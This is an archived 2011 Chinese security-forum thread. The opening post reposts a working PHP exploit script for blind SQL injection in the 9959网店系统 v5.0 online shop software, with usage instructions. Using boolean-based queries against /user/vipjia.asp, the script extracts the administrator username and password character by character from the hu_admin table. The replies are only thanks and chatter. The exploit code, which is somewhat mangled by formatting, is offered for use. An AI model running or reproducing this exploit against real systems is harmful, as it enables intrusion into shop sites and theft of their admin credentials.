# 9959网店系统v5.0 SQL盲注漏洞

**URL:** <https://forum.90sec.com/t/topic/2631>\
**Category:** 代码审计\
**Created:** [2011 年9 月 8 日 14:45 UTC](https://forum.90sec.com/t/topic/2631 "2011-09-08T14:45:25Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![MythHack](https://forum.90sec.com/user_avatar/forum.90sec.com/mythhack/32/775_2.png) [@MythHack](https://forum.90sec.com/u/MythHack)\
发布日期： [2011 年9 月 8 日 14:45 UTC](https://forum.90sec.com/t/topic/2631/1 "2011-09-08T14:45:25Z")

</div>

[转自t00ls.net](http://xn--t00ls-pj6nn07e.net) 作者：闷豆、

# EXP：

\<?php  
print\_r(‘

+—————————————————————————+

9959网店系统 v5.0  
Blind SQL injection exploit by mendou  
05  
官方网站：[www.9959shop.com](http://www.9959shop.com)

+—————————————————————————+

‘);

if ($argc \<  
2) {

print\_r(‘

+—————————————————————————+

Usage: php  
‘.$argv[0].’ host id

Example:

php  
‘.$argv[0].’ localhost id

+—————————————————————————+

‘);

exit;

}

error\_reporting(0);

ini\_set(‘max\_execution\_time’, 0);

```php
$host =
$argv[1];

$str =
“abcdefghijklmnopqrstuvwxyz0123456789″;

$strlen
=strlen($str);

$pid = $argv[2];

```

$n\_len =  
lenstr(adminname); //用户长度

echo  
“用户长度:”.$n\_len.”\r\n”;

pojie(“adminname”,$n\_len);echo “\r\n”;

$p\_len =  
lenstr(password); //密码长度

echo  
“密码长度:”.$p\_len.”\r\n”;

pojie(“password”,$p\_len);

function  
pojie($str1,$len){

global $host,$strlen,$str,$pid;

for  
($j=1 ; $j\<=$len ; $j++){

for ($i=0 ; $i\<$strlen ;  
$i++){

$exp =  
“%20and%20(select%20top%201%20mid(“.$str1.”,”.$j.”,1)%20from%20hu\_admin)=’”.$str[$i].”‘”;

$a =  
file\_get\_contents(‘http://’.$host.’/user/vipjia.asp?action=loads&id=’.$pid.$exp);

if  
(strpos($a,”次”)==true){

echo  
$str[$i];break;

}

}

}

}

//判断  
用户或者密码的长度函数

function lenstr($str){

global  
$host,$pid;

for ($i=1 ; $i \<= 30; $i++){

$exp =  
“%20and%20(select%20top%201%20len(“.$str.”)%20from%20hu\_admin)=”.$i;

$a =  
file\_get\_contents(‘http://’.$host.’/user/vipjia.asp?action=loads&id=’.$pid.$exp);

if  
(strpos($a,”次”)==true){

return $i;

}

}

}

?\>

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年9 月 9 日 01:52 UTC](https://forum.90sec.com/t/topic/2631/2 "2011-09-09T01:52:15Z")

</div>

额之前不是出了的么

---

<div class="post-metadata">

作者： ![sil3nc3](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/65b543/32.png) [@sil3nc3](https://forum.90sec.com/u/sil3nc3)\
发布日期： [2011 年9 月 9 日 14:54 UTC](https://forum.90sec.com/t/topic/2631/3 "2011-09-09T14:54:44Z")

</div>

look look!!!

---

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年9 月 25 日 12:27 UTC](https://forum.90sec.com/t/topic/2631/4 "2011-09-25T12:27:20Z")

</div>

thank you!

---

<div class="post-metadata">

作者： ![610851514](https://forum.90sec.com/letter_avatar_proxy/v4/letter/6/3da27b/32.png) [@610851514](https://forum.90sec.com/u/610851514)\
发布日期： [2011 年9 月 28 日 05:12 UTC](https://forum.90sec.com/t/topic/2631/5 "2011-09-28T05:12:25Z")

</div>

这个必须要看看………………

---

<div class="post-metadata">

作者： ![Jin](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/4af34b/32.png) [@Jin](https://forum.90sec.com/u/Jin)\
发布日期： [2011 年10 月 10 日 10:55 UTC](https://forum.90sec.com/t/topic/2631/6 "2011-10-10T10:55:14Z")

</div>

又是注入漏洞 哪个地方都缺少不了它的身影哇

---

<div class="post-metadata">

作者： ![MythHack](https://forum.90sec.com/user_avatar/forum.90sec.com/mythhack/32/775_2.png) [@MythHack](https://forum.90sec.com/u/MythHack)\
发布日期： [2011 年10 月 11 日 15:18 UTC](https://forum.90sec.com/t/topic/2631/7 "2011-10-11T15:18:19Z")

</div>

\*\*回复 [14#](http://www.90sec.org/redirect.php?goto=findpost&pid=1118&ptid=78) _葙守_ \*\*

```
相守大牛{:2_25:}

```

---

<div class="post-metadata">

作者： ![user8](https://forum.90sec.com/user_avatar/forum.90sec.com/user8/32/11330_2.png) [@user8](https://forum.90sec.com/u/user8)\
发布日期： [2011 年10 月 15 日 00:44 UTC](https://forum.90sec.com/t/topic/2631/8 "2011-10-15T00:44:44Z")

</div>

討厭回覆鐵。。。下次能不這樣麼？- -

---

<div class="post-metadata">

作者： ![xiaoliumang](https://forum.90sec.com/user_avatar/forum.90sec.com/xiaoliumang/32/11348_2.png) [@xiaoliumang](https://forum.90sec.com/u/xiaoliumang)\
发布日期： [2011 年10 月 19 日 15:48 UTC](https://forum.90sec.com/t/topic/2631/9 "2011-10-19T15:48:25Z")

</div>

看看！！！有事回复可看 蛋疼！！

---

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2011 年10 月 23 日 14:11 UTC](https://forum.90sec.com/t/topic/2631/10 "2011-10-23T14:11:21Z")

</div>

额 看个帖子好麻烦。

---

<div class="post-metadata">

作者： ![shabi](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/839c29/32.png) [@shabi](https://forum.90sec.com/u/shabi)\
发布日期： [2012 年4 月 3 日 14:09 UTC](https://forum.90sec.com/t/topic/2631/11 "2012-04-03T14:09:22Z")

</div>

看看 学习学习啊

---

<div class="post-metadata">

作者： ![712732916](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/a183cd/32.png) [@712732916](https://forum.90sec.com/u/712732916)\
发布日期： [2012 年4 月 4 日 07:11 UTC](https://forum.90sec.com/t/topic/2631/12 "2012-04-04T07:11:20Z")

</div>

表示想看一下凑字凑字

---

<div class="post-metadata">

作者： ![user27](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/a183cd/32.png) [@user27](https://forum.90sec.com/u/user27)\
发布日期： [2012 年4 月 4 日 10:17 UTC](https://forum.90sec.com/t/topic/2631/13 "2012-04-04T10:17:01Z")

</div>

谁TMD挖人家祖坟啊。我草。

---

<div class="post-metadata">

作者： ![feng2020](https://forum.90sec.com/user_avatar/forum.90sec.com/feng2020/32/2980_2.png) [@feng2020](https://forum.90sec.com/u/feng2020)\
发布日期： [2012 年4 月 4 日 15:35 UTC](https://forum.90sec.com/t/topic/2631/14 "2012-04-04T15:35:06Z")

</div>

新洞？来看看。。。。

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年4 月 8 日 03:26 UTC](https://forum.90sec.com/t/topic/2631/15 "2012-04-08T03:26:42Z")

</div>

看看 学习 下 ！！

---

<div class="post-metadata">

作者： ![M3loee](https://forum.90sec.com/user_avatar/forum.90sec.com/m3loee/32/11354_2.png) [@M3loee](https://forum.90sec.com/u/M3loee)\
发布日期： [2012 年4 月 10 日 02:01 UTC](https://forum.90sec.com/t/topic/2631/16 "2012-04-10T02:01:44Z")

</div>

{:4\_93:}{:4\_93:}

---

<div class="post-metadata">

作者： ![sec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/df705f/32.png) [@sec](https://forum.90sec.com/u/sec)\
发布日期： [2012 年4 月 10 日 02:03 UTC](https://forum.90sec.com/t/topic/2631/17 "2012-04-10T02:03:26Z")

</div>

谢谢楼主分享!学习中.........

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年4 月 10 日 08:32 UTC](https://forum.90sec.com/t/topic/2631/18 "2012-04-10T08:32:14Z")

</div>

\*\*回复 [3#](http://www.90sec.org/redirect.php?goto=findpost&pid=248&ptid=78) _少龙_ \*\*

```
龙在干啥

```

---

<div class="post-metadata">

作者： ![GT4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/g/c68b51/32.png) [@GT4](https://forum.90sec.com/u/GT4)\
发布日期： [2012 年5 月 1 日 10:15 UTC](https://forum.90sec.com/t/topic/2631/19 "2012-05-01T10:15:52Z")

</div>

路过，看看，参考下

---

<div class="post-metadata">

作者： ![ayiis](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/ebca7d/32.png) [@ayiis](https://forum.90sec.com/u/ayiis)\
发布日期： [2012 年5 月 1 日 10:42 UTC](https://forum.90sec.com/t/topic/2631/20 "2012-05-01T10:42:03Z")

</div>

我勒个去。。。竟然又有人挖坟了，那就。。顺便看看吧

[下一页](https://forum.90sec.com/t/topic/2631.md?page=2)
